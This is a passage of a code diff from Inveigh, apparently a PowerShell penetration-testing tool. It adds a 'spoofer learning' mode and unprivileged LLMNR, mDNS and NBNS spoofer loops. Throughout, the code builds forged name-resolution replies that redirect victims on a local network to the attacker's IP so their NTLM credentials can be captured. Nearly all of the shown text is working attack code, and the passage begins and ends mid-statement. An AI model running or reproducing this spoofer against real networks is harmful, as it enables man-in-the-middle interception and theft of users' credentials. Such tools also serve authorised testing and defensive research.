$mDNS_query_string_full received from $source_IP $mDNS_response_message") + } + + } + } 5355 # LLMNR @@ -1592,29 +2813,109 @@ $sniffer_scriptblock = ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() $LLMNR_response_packet = 0x14,0xeb + - $source_port[1,0] + - $UDP_length[1,0] + - 0x00,0x00 + - $payload_bytes[0,1] + - 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 + - $LLMNR_response_data + $source_port[1,0] + + $UDP_length[1,0] + + 0x00,0x00 + + $payload_bytes[0,1] + + 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 + + $LLMNR_response_data $LLMNR_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.Length - 4)]) $LLMNR_query = $LLMNR_query -replace "-00","" - $LLMNR_query = $LLMNR_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $LLMNR_query_string = New-Object System.String($LLMNR_query,0,$LLMNR_query.Length) + + if($LLMNR_query.Length -eq 2) + { + $LLMNR_query = [Char][System.Convert]::ToInt16($LLMNR_query,16) + $LLMNR_query_string = New-Object System.String($LLMNR_query) + } + else + { + $LLMNR_query = $LLMNR_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $LLMNR_query_string = New-Object System.String($LLMNR_query,0,$LLMNR_query.Length) + } + + $LLMNR_request_ignore = $false if($LLMNR -eq 'Y') { - if((!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString)) + if($SpooferLearning -eq 'Y' -and $inveigh.valid_host_list -notcontains $LLMNR_query_string -and $source_IP -ne $IP) { - $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp ) - $send_socket.SendBufferSize = 1024 - $destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port) - $send_socket.SendTo($LLMNR_response_packet,$destination_point) - $send_socket.Close() - $LLMNR_response_message = "- spoofed response has been sent" + + if(($LLMNR_learning_log.Exists({param($s) $s -like "20* $LLMNR_query_string"}))) + { + $LLMNR_learning_queue_time = [DateTime]$LLMNR_learning_log.Find({param($s) $s -like "20* $LLMNR_query_string"}).SubString(0,19) + + if((Get-Date) -ge $LLMNR_learning_queue_time.AddMinutes($SpooferLearningInterval)) + { + $LLMNR_learning_log.RemoveAt($LLMNR_learning_log.FindIndex({param($s) $s -like "20* $LLMNR_query_string"})) + $LLMNR_learning_send = $true + } + else + { + $LLMNR_learning_send = $false + } + + } + else + { + $LLMNR_learning_send = $true + } + + if($LLMNR_learning_send) + { + $LLMNR_transaction_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $LLMNR_transaction_ID_bytes = $LLMNR_transaction_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $LLMNR_transaction_ID = $LLMNR_transaction_ID -replace " ","-" + $LLMNR_UDP_client = new-Object System.Net.Sockets.UdpClient + $LLMNR_hostname_bytes = $payload_bytes[13..($payload_bytes.Length - 5)] + + $LLMNR_request_packet = $LLMNR_transaction_ID_bytes + + 0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00 + + ($LLMNR_hostname_bytes.Length - 1) + + $LLMNR_hostname_bytes + + 0x00,0x01,0x00,0x01 + + $LLMNR_learning_destination_endpoint = New-Object System.Net.IPEndpoint([IPAddress]"224.0.0.252",5355) + $LLMNR_UDP_client.Connect($LLMNR_learning_destination_endpoint) + $LLMNR_UDP_client.Send($LLMNR_request_packet,$LLMNR_request_packet.Length) + $LLMNR_UDP_client.Close() + $LLMNR_learning_log.Add("$(Get-Date -format 's') $LLMNR_transaction_ID $LLMNR_query_string") + $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string sent to 224.0.0.252") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string sent to 224.0.0.252") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string sent to 224.0.0.252") + } + + } + + } + + if(($inveigh.valid_host_list -notcontains $LLMNR_query_string -or $SpooferHostsReply -contains $LLMNR_query_string) -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and ( + !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and ( + !$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ( + $SpooferLearning -eq 'N' -or ($SpooferLearning -eq 'Y' -and !$SpooferLearningDelay) -or ($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -ge $spoofer_learning_delay))) + { + + if($SpooferLearning -eq 'N' -or !$LLMNR_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) + { + $LLMNR_send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp ) + $LLMNR_send_socket.SendBufferSize = 1024 + $LLMNR_destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port) + $LLMNR_send_socket.SendTo($LLMNR_response_packet,$LLMNR_destination_point) + $LLMNR_send_socket.Close() + $LLMNR_response_message = "- response sent" + } + else + { + $LLMNR_request_ignore = $true + } } else { @@ -1635,110 +2936,98 @@ $sniffer_scriptblock = { $LLMNR_response_message = "- $source_IP is on ignore list" } + elseif($inveigh.valid_host_list -contains $LLMNR_query_string) + { + $LLMNR_response_message = "- $LLMNR_query_string is a valid host" + } + elseif($inveigh.IP_capture_list -contains $source_IP.IPAddressToString) + { + $LLMNR_response_message = "- previous capture from $source_IP" + } + elseif($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -lt $spoofer_learning_delay) + { + $LLMNR_response_message = "- " + [Int]($SpooferLearningDelay - $spoofer_learning_stopwatch.Elapsed.TotalMinutes) + " minute(s) until spoofing starts" + } else { - $LLMNR_response_message = "- not spoofed due to previous capture" + $LLMNR_response_message = "- something went wrong" } } } - $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message")]) + if(!$LLMNR_request_ignore) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") + } + + } + } + } } - } - } - - if($RunTime) - { - - if($sniffer_stopwatch.Elapsed -ge $sniffer_timeout) - { - - if($inveigh.HTTP_listener.IsListening) + switch($endpoint_source_port) { - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() - } - if($inveigh.relay_running) - { - $inveigh.console_queue.Add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) - Start-Sleep -m 5 - $inveigh.relay_running = $false - } - - $inveigh.console_queue.Add("Inveigh exited due to run time at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh exited due to run time")]) - Start-Sleep -m 5 - $inveigh.running = $false - - if($inveigh.HTTPS) - { - & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null - - try + 5355 # LLMNR Response { - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificate = $certificate_store.certificates.Find("FindByThumbprint",$inveigh.certificate_thumbprint,$false)[0] - $certificate_store.Remove($certificate) - $certificate_store.Close() - } - catch - { - - if($inveigh.status_output) - { - $inveigh.console_queue.Add("SSL Certificate Deletion Error - Remove Manually") - } - - $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append - } + if($SpooferLearning -eq 'Y' -and $LLMNR_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) + { + $LLMNR_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes[12] + 13)]) + $LLMNR_query = $LLMNR_query -replace "-00","" + + if($LLMNR_query.Length -eq 2) + { + $LLMNR_query = [Char][System.Convert]::ToInt16($LLMNR_query,16) + $LLMNR_query_string = New-Object System.String($LLMNR_query) + } + else + { + $LLMNR_query = $LLMNR_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $LLMNR_query_string = New-Object System.String($LLMNR_query,0,$LLMNR_query.Length) + } + + [Byte[]]$LLMNR_response_IP_bytes = $payload_bytes[($payload_bytes.Length - 4)..($payload_bytes.Length)] + $LLMNR_response_IP = [System.Net.IPAddress]$LLMNR_response_IP_bytes + $LLMNR_response_IP = $LLMNR_response_IP.IPAddressToString + + if($inveigh.valid_host_list -notcontains $LLMNR_query_string) + { + $inveigh.valid_host_list.Add($LLMNR_query_string) + $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR response $LLMNR_response_IP for $LLMNR_query_string received from $source_IP - $LLMNR_query_string added to valid host list") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR response $LLMNR_response_IP for $LLMNR_query_string received from $source_IP - $LLMNR_query_string added to valid host list") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - LLMNR response $LLMNR_response_IP for $LLMNR_query_string received from $source_IP - $LLMNR_query_string added to valid host list") + } + + } + + } + } } - - $inveigh.HTTP = $false - $inveigh.HTTPS = $false - } - } - if($inveigh.file_output) - { - while($inveigh.log_file_queue.Count -gt 0) - { - $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append - $inveigh.log_file_queue.RemoveRange(0,1) - } - - while($inveigh.NTLMv1_file_queue.Count -gt 0) - { - $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append - $inveigh.NTLMv1_file_queue.RemoveRange(0,1) - } - - while($inveigh.NTLMv2_file_queue.Count -gt 0) - { - $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append - $inveigh.NTLMv2_file_queue.RemoveRange(0,1) - } - - while($inveigh.cleartext_file_queue.Count -gt 0) - { - $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append - $inveigh.cleartext_file_queue.RemoveRange(0,1) } } @@ -1750,38 +3039,952 @@ $sniffer_scriptblock = $memory_stream.Close() } +# Unprivileged LLMNR Spoofer ScriptBlock +$LLMNR_spoofer_scriptblock = +{ + param ($Inspect,$LLMNR_response_message,$SpooferIP,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$LLMNRTTL) + + $LLMNR_running = $true + $LLMNR_listener_endpoint = New-object System.Net.IPEndPoint ([IPAddress]::Any,5355) + + try + { + $LLMNR_UDP_client = New-Object System.Net.Sockets.UdpClient 5355 + } + catch + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting LLMNR spoofer") + $LLMNR_running = $false + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting LLMNR spoofer") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Error starting LLMNR spoofer") + } + + } + + $LLMNR_multicast_group = [IPAddress]"224.0.0.252" + $LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group) + $LLMNR_UDP_client.Client.ReceiveTimeout = 5000 + $LLMNR_TTL_bytes = [System.BitConverter]::GetBytes($LLMNRTTL) + [Array]::Reverse($LLMNR_TTL_bytes) + + while($inveigh.running -and $LLMNR_running) + { + + try + { + $LLMNR_request_data = $LLMNR_UDP_client.Receive([Ref]$LLMNR_listener_endpoint) + } + catch + { + $LLMNR_UDP_client.Close() + $LLMNR_UDP_client = new-Object System.Net.Sockets.UdpClient 5355 + $LLMNR_multicast_group = [IPAddress]"224.0.0.252" + $LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group) + $LLMNR_UDP_client.Client.ReceiveTimeout = 5000 + } + + if($LLMNR_request_data -and [System.BitConverter]::ToString($LLMNR_request_data[($LLMNR_request_data.Length - 4)..($LLMNR_request_data.Length - 3)]) -ne '00-1c') # ignore AAAA for now + { + + $LLMNR_response_packet = $LLMNR_request_data[0,1] + + 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 + + $LLMNR_request_data[12..$LLMNR_request_data.Length] + + $LLMNR_request_data[12..$LLMNR_request_data.Length] + + $LLMNR_TTL_bytes + + 0x00,0x04 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + $LLMNR_query_string = [Text.Encoding]::UTF8.GetString($LLMNR_request_data[13..($LLMNR_request_data[12] + 12)]) + $source_IP = $LLMNR_listener_endpoint.Address.IPAddressToString + + if(!$Inspect -and ($LLMNR_request_data -and $LLMNR_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and ( + !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( + $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP)) + { + $LLMNR_destination_endpoint = New-Object Net.IPEndpoint($LLMNR_listener_endpoint.Address,$LLMNR_listener_endpoint.Port) + $LLMNR_UDP_client.Connect($LLMNR_destination_endpoint) + $LLMNR_UDP_client.Send($LLMNR_response_packet,$LLMNR_response_packet.Length) + $LLMNR_UDP_client.Close() + $LLMNR_UDP_client = new-Object System.Net.Sockets.UdpClient 5355 + $LLMNR_multicast_group = [IPAddress]"224.0.0.252" + $LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group) + $LLMNR_UDP_client.Client.ReceiveTimeout = 5000 + $LLMNR_response_message = "- response sent" + } + else + { + + if($Inspect) + { + $LLMNR_response_message = "- inspect only" + } + elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $LLMNR_query_string) + { + $LLMNR_response_message = "- $LLMNR_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $LLMNR_query_string) + { + $LLMNR_response_message = "- $LLMNR_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $LLMNR_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $LLMNR_response_message = "- $source_IP is on ignore list" + } + elseif($inveigh.IP_capture_list -contains $source_IP) + { + $LLMNR_response_message = "- previous capture from $source_IP" + } + else + { + $LLMNR_response_message = "- something went wrong" + } + + } + + if($LLMNR_request_data) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") + } + + } + + $LLMNR_request_data = "" + } + + } + + $LLMNR_UDP_client.Close() + } + +# Unprivileged mDNS Spoofer ScriptBlock +$mDNS_spoofer_scriptblock = +{ + param ($Inspect,$mDNS_response_message,$mDNSTTL,$mDNSTypes,$SpooferIP,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore) + + $mDNS_running = $true + $mDNS_listener_endpoint = New-object System.Net.IPEndPoint ([IPAddress]::Any,5353) + + try + { + $mDNS_UDP_client = New-Object System.Net.Sockets.UdpClient 5353 + } + catch + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting mDNS spoofer") + $mDNS_running = $false + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting mDNS spoofer") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Error starting mDNS spoofer") + } + + } + + $mDNS_multicast_group = [IPAddress]"224.0.0.251" + $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) + $mDNS_UDP_client.Client.ReceiveTimeout = 5000 + $mDNS_TTL_bytes = [System.BitConverter]::GetBytes($mDNSTTL) + [Array]::Reverse($mDNS_TTL_bytes) + + while($inveigh.running -and $mDNS_running) + { + + try + { + $mDNS_request_data = $mDNS_UDP_client.Receive([Ref]$mDNS_listener_endpoint) + } + catch + { + $mDNS_UDP_client.Close() + $mDNS_UDP_client = new-Object System.Net.Sockets.UdpClient 5353 + $mDNS_multicast_group = [IPAddress]"224.0.0.251" + $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) + $mDNS_UDP_client.Client.ReceiveTimeout = 5000 + } + + if([System.BitConverter]::ToString($mDNS_request_data) -like '*-00-01-80-01') + { + $mDNS_response_packet = $mDNS_request_data[0,1] + + 0x84,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00 + + $mDNS_request_data[12..($mDNS_request_data.Length - 5)] + + 0x00,0x01,0x00,0x01 + + $mDNS_TTL_bytes + + 0x00,0x04 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + $mDNS_query_string = DataToString 13 $mDNS_request_data[12] $mDNS_request_data + $mDNS_query_string_full = $mDNS_query_string + ".local" + $source_IP = $mDNS_listener_endpoint.Address.IPAddressToString + + if(!$Inspect -and ($mDNS_request_data -and $mDNS_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and ( + !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( + $mDNSTypes -contains 'QU') -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP)) + { + $mDNS_destination_endpoint = New-Object Net.IPEndpoint($mDNS_listener_endpoint.Address,$mDNS_listener_endpoint.Port) + $mDNS_UDP_client.Connect($mDNS_destination_endpoint) + $mDNS_UDP_client.Send($mDNS_response_packet,$mDNS_response_packet.Length) + $mDNS_UDP_client.Close() + $mDNS_UDP_client = new-Object System.Net.Sockets.UdpClient 5353 + $mDNS_multicast_group = [IPAddress]"224.0.0.251" + $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) + $mDNS_UDP_client.Client.ReceiveTimeout = 5000 + $mDNS_response_message = "- response sent" + } + else + { + + if($Inspect) + { + $mDNS_response_message = "- inspect only" + } + elseif($mDNSTypes -notcontains 'QU') + { + $mDNS_response_message = "- disabled mDNS type" + } + elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $mDNS_query_string) + { + $mDNS_response_message = "- $mDNS_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $mDNS_query_string) + { + $mDNS_response_message = "- $mDNS_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $mDNS_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $mDNS_response_message = "- $source_IP is on ignore list" + } + elseif($inveigh.IP_capture_list -contains $source_IP) + { + $mDNS_response_message = "- previous capture from $source_IP" + } + else + { + $mDNS_response_message = "- something went wrong" + } + + } + + if($mDNS_request_data) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + } + + } + + $mDNS_request_data = "" + } + elseif([System.BitConverter]::ToString($mDNS_request_data) -like '*-05-6C-6F-63-61-6C-00-00-01-00-01-*') + { + $mDNS_response_packet = $mDNS_request_data[0,1] + + 0x84,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00 + + $mDNS_request_data[12..($mDNS_request_data[12] + 12)] + + 0x05,0x6c,0x6f,0x63,0x61,0x6c,0x00 + + 0x00,0x01,0x00,0x01 + + $mDNS_TTL_bytes + + 0x00,0x04 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + $mDNS_query_string = DataToString 13 $mDNS_request_data[12] $mDNS_request_data + $mDNS_query_string_full = $mDNS_query_string + ".local" + $source_IP = $mDNS_listener_endpoint.Address.IPAddressToString + + if(!$Inspect -and ($mDNS_request_data -and $mDNS_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and ( + !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( + $mDNSTypes -contains 'QM') -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP)) + { + $mDNS_destination_endpoint = New-Object Net.IPEndpoint([IPAddress]"224.0.0.251",5353) + $mDNS_UDP_client.Connect($mDNS_destination_endpoint) + $mDNS_UDP_client.Send($mDNS_response_packet,$mDNS_response_packet.Length) + $mDNS_UDP_client.Close() + $mDNS_UDP_client = new-Object System.Net.Sockets.UdpClient 5353 + $mDNS_multicast_group = [IPAddress]"224.0.0.251" + $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) + $mDNS_UDP_client.Client.ReceiveTimeout = 5000 + $mDNS_response_message = "- response sent" + } + else + { + + if($Inspect) + { + $mDNS_response_message = "- inspect only" + } + elseif($mDNSTypes -notcontains 'QM') + { + $mDNS_response_message = "- disabled mDNS type" + } + elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $mDNS_query_string) + { + $mDNS_response_message = "- $mDNS_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $mDNS_query_string) + { + $mDNS_response_message = "- $mDNS_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $mDNS_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $mDNS_response_message = "- $source_IP is on ignore list" + } + elseif($inveigh.IP_capture_list -contains $source_IP) + { + $mDNS_response_message = "- previous capture from $source_IP" + } + else + { + $mDNS_response_message = "- something went wrong" + } + + } + + if($mDNS_request_data) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + } + + } + + $mDNS_request_data = "" + } + + } + + $mDNS_UDP_client.Close() + } + +# Unprivileged NBNS Spoofer ScriptBlock +$NBNS_spoofer_scriptblock = +{ + param ($Inspect,$NBNS_response_message,$SpooferIP,$NBNSTypes,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$NBNSTTL) + + $NBNS_running = $true + $NBNS_listener_endpoint = New-Object System.Net.IPEndPoint ([IPAddress]::Broadcast,137) + + try + { + $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 + } + catch + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting NBNS spoofer") + $NBNS_running = $false + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting NBNS spoofer") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Error starting NBNS spoofer") + } + + } + + $NBNS_UDP_client.Client.ReceiveTimeout = 5000 + $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) + [Array]::Reverse($NBNS_TTL_bytes) + + while($inveigh.running -and $NBNS_running) + { + + try + { + $NBNS_request_data = $NBNS_UDP_client.Receive([Ref]$NBNS_listener_endpoint) + } + catch + { + $NBNS_UDP_client.Close() + $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 + $NBNS_UDP_client.Client.ReceiveTimeout = 5000 + } + + $IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) + + if($NBNS_request_data -and [System.BitConverter]::ToString($NBNS_request_data[10..11]) -ne '00-01') + { + $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) + [Array]::Reverse($NBNS_TTL_bytes) + + $NBNS_response_packet = $NBNS_request_data[0,1] + + 0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + + $NBNS_request_data[13..$NBNS_request_data.Length] + + $NBNS_TTL_bytes + + 0x00,0x06,0x00,0x00 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + 0x00,0x00,0x00,0x00 + + $source_IP = $NBNS_listener_endpoint.Address.IPAddressToString + $NBNS_query_type = [System.BitConverter]::ToString($NBNS_request_data[43..44]) + + switch ($NBNS_query_type) + { + + '41-41' + { + $NBNS_query_type = "00" + } + + '41-44' + { + $NBNS_query_type = "03" + } + + '43-41' + { + $NBNS_query_type = "20" + } + + '42-4C' + { + $NBNS_query_type = "1B" + } + + '42-4D' + { + $NBNS_query_type = "1C" + } + + '42-4E' + { + $NBNS_query_type = "1D" + } + + '42-4F' + { + $NBNS_query_type = "1E" + } + + } + + $NBNS_query = [System.BitConverter]::ToString($NBNS_request_data[13..($NBNS_request_data.Length - 4)]) + $NBNS_query = $NBNS_query -replace "-00","" + $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length) + $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA")) + $NBNS_query_string_subtracted = "" + $NBNS_query_string = "" + $n = 0 + + do + { + $NBNS_query_string_sub = (([Byte][Char]($NBNS_query_string_encoded.Substring($n,1))) - 65) + $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16)) + $n += 1 + } + until($n -gt ($NBNS_query_string_encoded.Length - 1)) + + $n = 0 + + do + { + $NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16))) + $n += 2 + } + until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15) + + if(!$Inspect -and ($NBNS_request_data -and $NBNS_listener_endpoint.Address.IPAddressToString -ne '255.255.255.255') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and ( + !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( + $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP) -and ($NBNSTypes -contains $NBNS_query_type) -and ($source_IP -ne $IP)) + { + $NBNS_destination_endpoint = New-Object System.Net.IPEndpoint($NBNS_listener_endpoint.Address,137) + $NBNS_UDP_client.Connect($NBNS_destination_endpoint) + $NBNS_UDP_client.Send($NBNS_response_packet,$NBNS_response_packet.Length) + $NBNS_UDP_client.Close() + $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 + $NBNS_UDP_client.Client.ReceiveTimeout = 5000 + $NBNS_response_message = "- response sent" + } + else + { + + if($Inspect) + { + $NBNS_response_message = "- inspect only" + } + elseif($NBNSTypes -notcontains 